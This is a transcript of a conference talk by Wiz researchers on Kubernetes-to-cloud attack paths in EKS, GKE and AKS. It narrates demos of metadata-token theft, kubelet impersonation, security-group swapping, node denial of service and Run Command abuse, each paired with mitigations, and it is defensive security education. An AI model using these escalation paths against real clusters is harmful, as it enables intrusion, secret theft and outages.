 Okay, friends, let's start alone, please. Hello, everyone. We're really excited to be here. And it's exciting to be on this stage. Here with me is Danny. Hi, and this is Alon. And we are both from Wiz. We are the fastest growing cloud security company ever. And we realized when we started our cloud security journey, almost three years ago, that a cloud security goes hand-in-hand with Kubernetes security and container security. And you can't really separate both of them. You can think of Kubernetes as a cloud within the cloud. Because you have, for both of them, you have identity model, you have networking model, you have storage model. For each one of them, you have, I mean, they are different. And you have to control each one of them in order to secure them properly. And you also have the interfaces between both of them. And you also have to know these interfaces well. A misconfigured container can lead to a lateral movement to your cloud environment. And a network exposure issue in your cloud environment can put your container at risk. Now, today, when organizations build most of their modern organizations, build their applications on top of Kubernetes, you have to really understand well both of them and how to, both of these domains. And they can't be separated. You need to address both of them. So today, what Danny is going to show is going to demonstrate a few examples of this interface between cloud and Kubernetes. It will also help you understand how to secure both of them properly. But we really want you to take away from this talk that these two domains, the cloud security and Kubernetes security, cannot be separated. And on a personal note, it's really, Danny is really amazing and is an amazing expert to this topic. So I know we work in the same company, but it's really a privilege to be here and hear all these examples today. And now, no pressure, Danny. Let's go. Okay. Cool. So, hello everyone. So this is the Kubernetes to cloud attack vectors presentation. Now, I do want to note that this is a lighter, much lighter version of this presentation. And we got the full version in the KubeCon's website. And I invite you all to download the full presentation there. So friends, we flew 16 hours over here from Tel Aviv to warn you about that, that there are many Kubernetes to cloud integration points. And this yields that there are many attack vectors on both sides of the equation. And when you use a managed Kubernetes solution, you delegate key responsibilities to your cloud provider. And you follow an implicit assumption here. And that is that providers make secure decisions on your behalf. Now, if you want to be as secure as possible, you must understand and you must supervise all participating layers. Your expertise cannot be siloed. You cannot be a Kubernetes expert and neglect cloud security best practices or vice versa. So now, friends, let's get down to business. So the first managed solution we're gonna take a look at is EKS of Amazon. And for this first point, I would like to remind you about the instance metadata server. It's a service that you may be familiar with. It's a server that is exposed via a static IP address to all EC2 instances in Amazon. And you can use it to query for instance metadata properties like the instance ID, subscription ID, VINIT ID, things like that. It also lets you assume the instance cloud identity, right? Now, this is a cloud agnostic concept. You will find it in all major cloud providers. And for our use case, it looks sort of something like this. So we have a pod that runs on a VM, a Kubernetes node, and some cloud resources. There's the VM cloud identity, which is assigned to the specific VM, and there's the instance metadata service. Now, our pod can request a token for this VM cloud identity. The token is then returned and with it, we can access the cloud resources via the cloud API. So back to point. Amazon offers two instance metadata service implementations. They have their V1 and V2 versions. Now, the V2 version has session semantics to it, which help to protect it against server-side request forgery attacks. The V2 version was introduced in November 2019, and EKS uses the first version by default. So this means that by default, the instance metadata server is not protected against server-side request forgery attacks in EKS. Now, the thing about it is that you can control the version constraint in Amazon, but there is no easy flag for disabling IMDS V1 in EKS. This is true not only from the console. You cannot do this from the CLI nor the API. In order to do so, you must first create an optional resource, which is called a launch template. You must modify the version constraint of IMDS flag there, and then you use it when you create an EKS node group. Now, this use launch template is then immutable. Now I'd like to go over the experience of a developer that creates a new node group with a custom launch template. So here I am in the EKS website, creating my new node group, and now I toggle this use, I click on this use launch template toggle. Then I'm redirected to this lovely page right here, and of course, I need to go all the way to the bottom to the advanced details tab. I need to click it, sorry, I need to click it, and then only a handful of options are opened up before me, as you can see, and the version constraint is available all down here below. Now friends, this is when your typical developer says, nope. Yep, so EKS does offer a tool, making it easier to disable IMDS v1 and configure launch templates, which is called EKS CTL, but we need to remember that separate tools create unnecessary fragmentation, and developers will still create clusters, right, from the UI or the CLI or the API. Think for instance, infrastructure is code or Terraform. You cannot use EKS CTL conveniently with these tools. So there is currently friction for making secure choices. Now my next point would be about the highly privileged default node cloud role that you grant to EKS worker nodes. Now the default node role in EKS includes the following Amazon policies. A container registry read-only policy, this is used for pooling container images. A worker node policy, which is used for joining nodes to the cluster, and a CNI policy, which is used by the Amazon's container network interface implementation for assigning IP addresses to your pods. Now let's briefly go over the permission set that you get with these policies. So the registry read-only policy gives us various read-only permissions in the elastic container registry for us to download container images. It also gives us the ability to describe image scan vulnerability findings. The worker node policy gives us a few other read-only permissions this time in the EC2 namespace. For instance, the ability to describe instances, route tables, security groups, subnets, and VPCs. That's interesting. Now the CNI policy is a bit more proactive here. It gives us the ability to attach or detach network interfaces from any instance. Create or delete network interfaces, describe them, and modify their attributes. This is neat. Now an interesting attribute we can modify is security groups that are assigned to a specific network interface. Now, as you can see, the resource here is wildcard in all of these permissions. And the wildcard resource in Amazon means that this is not scoped to a specific resource, but rather these permissions are account-wide. Okay, so this means that by default, an attacker that reaches your pod and can assume the cloud identity of the worker role via the instance metadata server can do the following. They can download all of your images from your private registries and show image vulnerability scan results. They can maybe zone in on images that have interesting vulnerabilities. They can map your entire Amazon network by describing instances and VPCs and subnets. And they can create, attach, detach or delete your network interfaces. And the latter can cause really a massive denial of service. Think of an attacker that decides to detach all of network interfaces from all of your instances and then deletes them. Finally, they can change security groups of network interfaces, and this can cause to expose private servers to the public or even deny service for public servers. Now let's go over an attack flow here. So imagine we have a VM, a Kubernetes node running in EKS, and it runs a vulnerable Tomcat container. Now this container will be vulnerable for the recent log for shell, for instance. And our attacker will use log for shell to get a reverse shell here. Then our attacker can extract the node token, and then they will use it to connect to the private container registry and download all of your images. Cool. So what's next? Let's say that a developer in your company had created a Jenkins integration with Slack. And they have a Jenkins trigger Slackbot serverless function. Now this function uses a Docker image on your private registry. And say that in his integration tests, that developer had hard-coded the Jenkins server credentials in the image. Okay, not that bad he thought. It's a private container registry. Now our attacker can list all instances in the account. Here above, he found the actual Jenkins build server, but unfortunately for him, he sees that this build server is behind a VPN-only security group. So he can't actually access it. Now at this point, what our attacker can do is he can list all security groups in the account to find a more permissive security group in Amazon, and then they can use their permissions to change the Jenkins build server security group to the more permissive one. Then they can actually access the Jenkins build server and compromise it. Now I would like to show you this same workflow in a prerecorded demo, and I'll narrate it. So here above, I have an attacker VM and I pwn a Tomcat container with log for shell. In an instant, I will get the instance token for this container, and I'm using it here down below. Now with the AWS CLI tool, what I'll do next is I'll describe all repositories in the container registry. Here I'm zoning in on the Jenkins trigger Slackbot repository. I am taking an ECR token here, and with it, I am taking the first tag of that image. Now I will list all image layers of that tag. I will take the relevant digest and will download and extract it locally. Great. Now I have the Slack trigger here on my machine. I am, here we can see the hard-coded credentials with the build server. I'm saving them aside, and here I'm describing all instances to actually find the Jenkins server. Now what I'll do is I'll take the security group and network interface ID and save them aside for a moment, and we'll describe the security group ID to showcase that the 8080 port that Jenkins uses is only accessible to a VPN address range. I will also try to curl this Jenkins server and I will see that I can't access it at the moment. That's too bad. Now I'll describe all security groups in the account. I will search for a more permissive 8080 port allowing security group. Here I have found one in the same account that is accidentally used by a GitHub Enterprise installation, totally unrelated to our Jenkins server. At this point, I will take the new security group ID and I will edit the network interface attribute and change the security group to this new one. At this point, I can curl the build server, pass in the credentials, and then I can compromise the build server. Pound. Right. So, to mitigate this, AWS recommends the following. First, you can assign pair pod identities with a feature they called IAM roles for service accounts. With this feature, you assign each pod a unique identity of its own in the cloud. Next, you can disable the IAMDS version one in the launch template, as we've seen, and decrease the metadata max hop count to one. With these two properties, you are blocking the ability of regular pods to access the instance metadata server so they can no longer extract the host credentials. Instead, you can enforce your own custom network policy or IP tables rule that does the same effect. And there is one more possible and maybe easier mitigation I would like to offer, and it is to use Fargate nodes. Now, Fargate nodes is an EKS pay per pod pricing model, and in Fargate nodes, IAMDS is completely disabled. Only the IHRSA is used. So, to depict the pay per pod model, let's contrast it with the regular pricing model. Now, in the regular pricing model, we have a VM that is spawned in our cloud subscription, and we pay a fixed price for the VM, whether it runs zero or 100 pods. Now, in the pay per pod model, the VM is spawned in the cloud provider subscription, so we are not accessible to the virtual machine itself. Pods are scheduled there, and now we pay only for the workloads, so the pod consumed resources and run time. Cool. Our next cloud will be Google Cloud with their Google Kubernetes engine. Now, for this first point, I would like to mention how a VM becomes a Kubernetes node. Now, a VM does a bootstrap process in order to become a node, and it uses bootstrap credentials which are saved somewhere. Kubelet uses them to create a separate identity for that bootstrap node, and then nodes use this identity to manage their pods. With this identity, they can read config maps and pod and node specifications, and they can also read secrets of pods that are scheduled to run on them. Okay, so here we'll depict the bootstrap process of a node. So, Kubelet runs on a VM. It creates a key pair for the node's identity. It creates a certificate signing request for the given node, submits it to the cluster using the Kubelet credentials, and then there is a controller that verifies these requests and signs the certificate. Then, we retrieve the signed certificate for the node, and the node is now bootstrapped. Cool. Now, back to point. GKE spawns worker VMs via what they call a GCP instance template. Now, this template has custom metadata properties, and one of which is called KubeNV. KubeNV is a list of environment variables which is used by Kubelet and other Kubernetes system components, and we'll focus on two interesting variables there, Kubelet cert and Kubelet key. This form the identity of Kubelet in the cluster, and Kubelet uses these to join nodes to the cluster. So, anyone with basic reader permissions to your project, and namely compute instances get or list in Google or compute instance templates get or list, can read these environment variables, use the Kubelet's identity, and impersonate a Kubernetes node. Now, let's look at it in action. I'm using the Gcloud CLI here to list instance templates in my account. Down below, what I see is that I can get the Kubernetes master name, which is the API server endpoint, and up above I see the Kubelet cert and Kubelet key, which I'll use for authenticating to the cluster. I'll write them to file, and I'll use Kube CTL while referring to the certificate and key, and I'll try to get pods for instance. Now, what I get here is that indeed, I'm using the user Kubelet, but it is not permitted to list pods currently. So, I cannot list pods, but what I can do is I can bootstrap a new node and elevate my permissions with that. So, let me do just that. First, I'm creating a node private key. Now, I'm creating a certificate signing request configuration file, and I mentioned there the organization I want, which is a system node. This is the Kubernetes group I will be a part of, and a common name, which is the Kubernetes user I will be. The common name is a fake node name I have chosen. Then, from this config, I create a certificate signing request, and from this request, I create a request spec to be submitted to the cluster. Note that the username here will be Kubelet. This request is submitted to the cluster with Kubelet's credentials, and here I can finally retrieve my signed certificate. Here it is. Let me write it to a file, and now I can use Kube CTL, referring to the created certificate and previously created private key to, for instance, get pods and get config maps and get nodes. Now, I had mentioned that I can also read secrets, but the secrets I can read are only for the pods that are scheduled on the node I am impersonating. Currently, I'm impersonating a fake node, so no pod is running on me and I cannot read secrets at all. But what I can do is that I can use my get nodes primitive to impersonate each node with the process I did above, and then I can read secrets of all pods mounted in each node, right? So let me do that quickly. I'm replacing the fake node name with the real node name in the CSR config. I'm recreating my CSR and my CSR spec, and I'm submitting it to the cluster. Now I'm retrieving the new signed certificate and write it to a file, and here I can use the new certificate to get pods with the field selector of the node name, so I will only retrieve pods that run on the node I'm impersonating. At this point, I will look at all secret volumes of these pods. Here is one, for example, a secret name which is called pastem, and now with these new credentials, I can get the secret, and here I have it. So. Pound. Yeah. Now, GKE solved this with the use of what they call shielded nodes, and this is a feature that is enabled by default in GKE 118 and onwards since around September 2020. So by now, you're probably good. Now, the second point is a more novel attack vector of impersonating two Kubernetes system components, kube proxy and node problem detector. Now, if you recall, I mentioned the kubenv metadata property, and it turns out it contains a few more surprises. Now, I'll use gcloud CLI again to list instance templates, and down below, let us zone in on these two tokens, the node proxy token, the kube proxy token, and the problem detector token. These are static tokens that can be used by anyone to authenticate to the given cluster. Right, so what could an attacker do with these two tokens? Well, I get the following permissions with them. The first is the system node proxier cluster role, which gives us the ability to read services and endpoints and nodes, create, patch, or update Kubernetes events, and read endpoint slices. Great, the node problem detector role is the second one. It gives us pretty much the same permissions, but it also adds the ability to patch the status sub-resource of nodes. This will be interesting. Now, if an attacker gains access to these two tokens, they can list nodes and services and endpoints, which can be used for reconnaissance, right? I can build the internal network map representation of your cluster. Now, patching events, this can be used to masquerade malicious actions and omitting them for Kubernetes events if any action triggered one. Now, the status sub-resource is interesting. The status sub-resource is there to store IP addresses, health metrics about the node. So patching it is probably harmless, right? Well, nope, nope. Now, the patching status sub-resource discards any node spec changes, which indeed hold most of the interesting fields in the node, but it turns out that it does not discard metadata changes along with the status changes. Now, this is interesting, what can we do with this? So now I'll use the kube proxy token, the first token, to get nodes. This is something I can do. Here I'm zoning in on a specific node and let me highlight this metadata block here. Now, what we'll see here is that we have various labels. Now the labels I have highlighted, as you can see, they have the value true here. Well, it turns out the GKE uses node labels as controllers for some behavior and if I would toggle these labels from true to false or vice versa, some behavioral change will take effect. And I want you, and I want to showcase this to you. I'll use the second token now to patch the status sub-resource of the node and I will toggle all of these labels. Now, if I toggle these two labels, I am disabling a feature which is called image streaming. Okay, toggling these two labels to false will kill the workload identity metadata proxy on the node, interesting. Now, toggling these final two labels here will cause a complete denial of service to the node because it will kill the container network interface implementation of GCP. And now I will showcase this in a prerecorded GIF. Down below, I am patching this node above and up above, let's see what's happened. So here, I am highlighting the IP mask agent which is now terminated and here below, you can see that there are containers which are stuck because they are failing to set up the network sandbox because we killed the CNI. So yeah. Tell me. Right, so for mitigation, first you can limit the network access to the control plane. This will at least decrease the attack surface. Or you can use autopilot clusters which is Google's paper pod pricing model clusters just like Fargate nodes. In this pricing model, the instance template is created in a GCP internal project and hence neither you nor an attacker can extract these tokens. Great, finally to Azure, I've waited for this. So AKS, who uses AKS by the way by hand? Yeah, okay, good luck with that. So yeah, here I'm creating a Kubernetes cluster in AKS and I'm in the access pane to choose an authentication and authorization mechanism for my cluster and I have three options. Local accounts with Kubernetes RBAC which is the default and two other which use Azure AD for authentication. Perfect, now there are four cloud APIs for acquiring cluster credentials in Azure. The least cluster user credential API, the monitoring user credential API, the admin credential API, and of course, Microsoft always has a deprecated API, least credential which is generic. Now, each such API has a distinct permission in Azure which is good. This means that Azure had forethought that these different APIs would be used by different Kubernetes roles. Now, if you use the local accounts on Kubernetes RBAC, again, this is the default, right? Both the user and admin credential listing APIs will return to distinct tokens. Sounds amazing. These tokens are static and they are unrelated to the Azure AD user, okay? But both APIs also return a client certificate and a private key which is signed for system masters, essentially giving full admin privileges. So let me use the AZCLI to demonstrate this. First, I am listing the cluster admin credentials. I am looking at the returned Kube config here. And at the bottom, we can see that I have got a token that starts with 7A here and a client key and certificate. Now, let me open up this certificate and here we'll see that the organization is indeed system masters, that is our Kubernetes group and the common name our Kubernetes user is master client. Now, let me contract this with the cluster user credential API instead. And here at the bottom, you can see that I get a different token, right? 9B, perfect. But the same client certificate and private key. Now, an attacker that got this response can completely disregard the token, use just the client certificate and key and gain admin privileges to your cluster. So, yeah. Pound. Now, this behavior was both implicit and undocumented until recently. And the monitoring user credential, the third API, also returned the admin credentials. There was an open GitHub issue about this for two years, went unresolved by Microsoft. Now, we have submitted this as a security concern to Microsoft and they've acted promptly. And now the monitoring user no longer returns admin credentials, which is great. Now, the cluster user still does to maintain backwards compatibility. But at least now it's documented. But this behavior is still the default, right? So we need to be aware of such things. Now, this is the recommendation, the classic Microsoft's way. Presenting you with a big table. Yeah, I'm not going to go into that. Our recommendation is much simpler. Just use AD authentication if you can. Great. Our next point is about accessing private clusters from the internet. That's great. Now, AKS had introduced a new API relatively recently. It is called Run Command. It's a cloud API that is enabled by default in any AKS cluster. Now, this is true for both new clusters and even existing clusters that were created before the API was introduced, but were upgraded to a newer minor version. Now, there is one cloud permission to run actual commands and another to read the standard output of those commands. When you invoke this Run Command API, it creates a pod in your cluster and it runs a command of your choice, right? Remote code execution, this is lovely. It works for private clusters and it works for clusters with authorized IP ranges to the control plane. So essentially, this bypasses all network restrictions. Great. Now, let's see it in action again. Using the AZCLI, here I'm invoking the Run Command API and I pass it to the kubectlgetpods command. In the response, I get a location of the API I need to call to get the logs. I call now this API and here are the logs. The kubicon 2022 pod is running in the private cluster. Now, let's put a cherry on top here. With local accounts with Kubernetes, our bug authentication, right? This is the default, if you recall. This pod is always created with cluster admin permissions. So let's see it here. This is the automatically created cluster role binding. As you can see, the Run Command annotation is set to true. The subject is an auto-generated service account for the pod in the AKS command namespace and the role reference is cluster admin. So Azure had thought about this. Not only will they give you an API that would allow bypassing all network restrictions, if an attacker is granted access to this API, they can also get admin in your clusters. This is great. So creating a private Azure Kubernetes service cluster, yeah, good luck with that. Boom. Now, for mitigation, if you use AD authentication, which you probably should, you pass in a cluster token to the API as well. So at least with AD authentication, the pod created will no longer implicitly get the cluster admin role. The Run API command can also be completely disabled. So we would recommend that you double check that this Run Command API makes sense in your use case and please use AD authentication. Great. Our third point in Azure is about their AKS service cluster role. Now in each AKS cluster, they pre-configure a cluster role for their support engineers. And this is what they say about it. This role enables AKS to troubleshoot, diagnose your cluster, but it cannot modify permissions. It cannot create roles or bindings or do any other high privilege actions. I love that. Now let's see the AKS service cluster role as it is. Well, of course, it can read all of your secrets and it can impersonate any other service account and it can create pods and attach to pods and exec to pods. So essentially they have the ability to execute code in your cluster. So yeah, Microsoft, you've unlocked an achievement. Saying God mean without saying God mean. Perfect. Now this is our final point here. Abusing add-ons with broad permission scopes. And for this, I need to remind you about managed identities in Azure. Now managed identities in Azure are principles that are attached to a compute resource like a VM or a serverless function. You can have zero or more such principles. You can be granted, you can assume these principles via the instance metadata server and get a token for them. Now the primitive here is that if you can open and read from a network socket on said compute resource, you can probably assume the identity. And the implicit assumption that follows is that only trusted processes run on your resources. Now AKS offers various first party and third party AKS add-ons they call them. And some of them interact with your cloud resources. Those that do create a managed identity which is attached to your virtual machine. Now we would expect that add-ons will use a least privileged access model, especially first party Microsoft official add-ons. Now let's take a look at two of such add-ons. The first one is the Ingress application gateway add-on which is Microsoft's official Ingress controller. And the second one is the virtual node add-on which is Microsoft's paper pod enabler. Now if we'll see here the default permissions for them both are getting the contributor role for the node resource group. Now contributor role mind you is basically read, write, execute in Azure, so almost like admin, but scope to the resource node resource group and you cannot bring your own identity. So by default any container can assume these identities and this means that containers that are vulnerable to remote code execution or server side request forgery attacks might get exploited to escalate privileges in your cloud environment. Now let's go over briefly an attack flow here. We'll have a vulnerable Redis container that runs in AKS. An attacker will run and exploit on this vulnerable container and get a shell. They will use using the instance made out of the server they can extract the virtual machine scale set ID. Now virtual machine scale sets are a compute primitive in Azure. They can extract also the access token of the enabled add-on. And now what they can do, this is interesting, they can use the run command API. This is a separate API which is similar to the previously run command API I've shown on AKS, but it runs command on any virtual machine in a scale set. So they use the run command API to get a reverse shell. Now Microsoft did a really good job here. The run command API, the agent that executes your commands always runs them as root. So essentially with this API you get root on the node, on any Kubernetes node. Now with root on the node, okay, you can read all mounted secrets and move laterally. Okay, let me just finish up. Now at this point I hope that you're convinced that cloud providers won't always make secure calls, that features affecting your security posture get introduced unbeknownst to you, that defaults are almost never secure, that there is friction for moving away from defaults, that documentation can be stale, even misleading, and that securing layers in silo overlooks interesting attack vectors. Thank you very much. And thank you, thank you. Now our attacker won't hack your clusters if you rate this talk. So feel free to do so at schedule.co forward slash one eight two capital J lowercase L. That is all.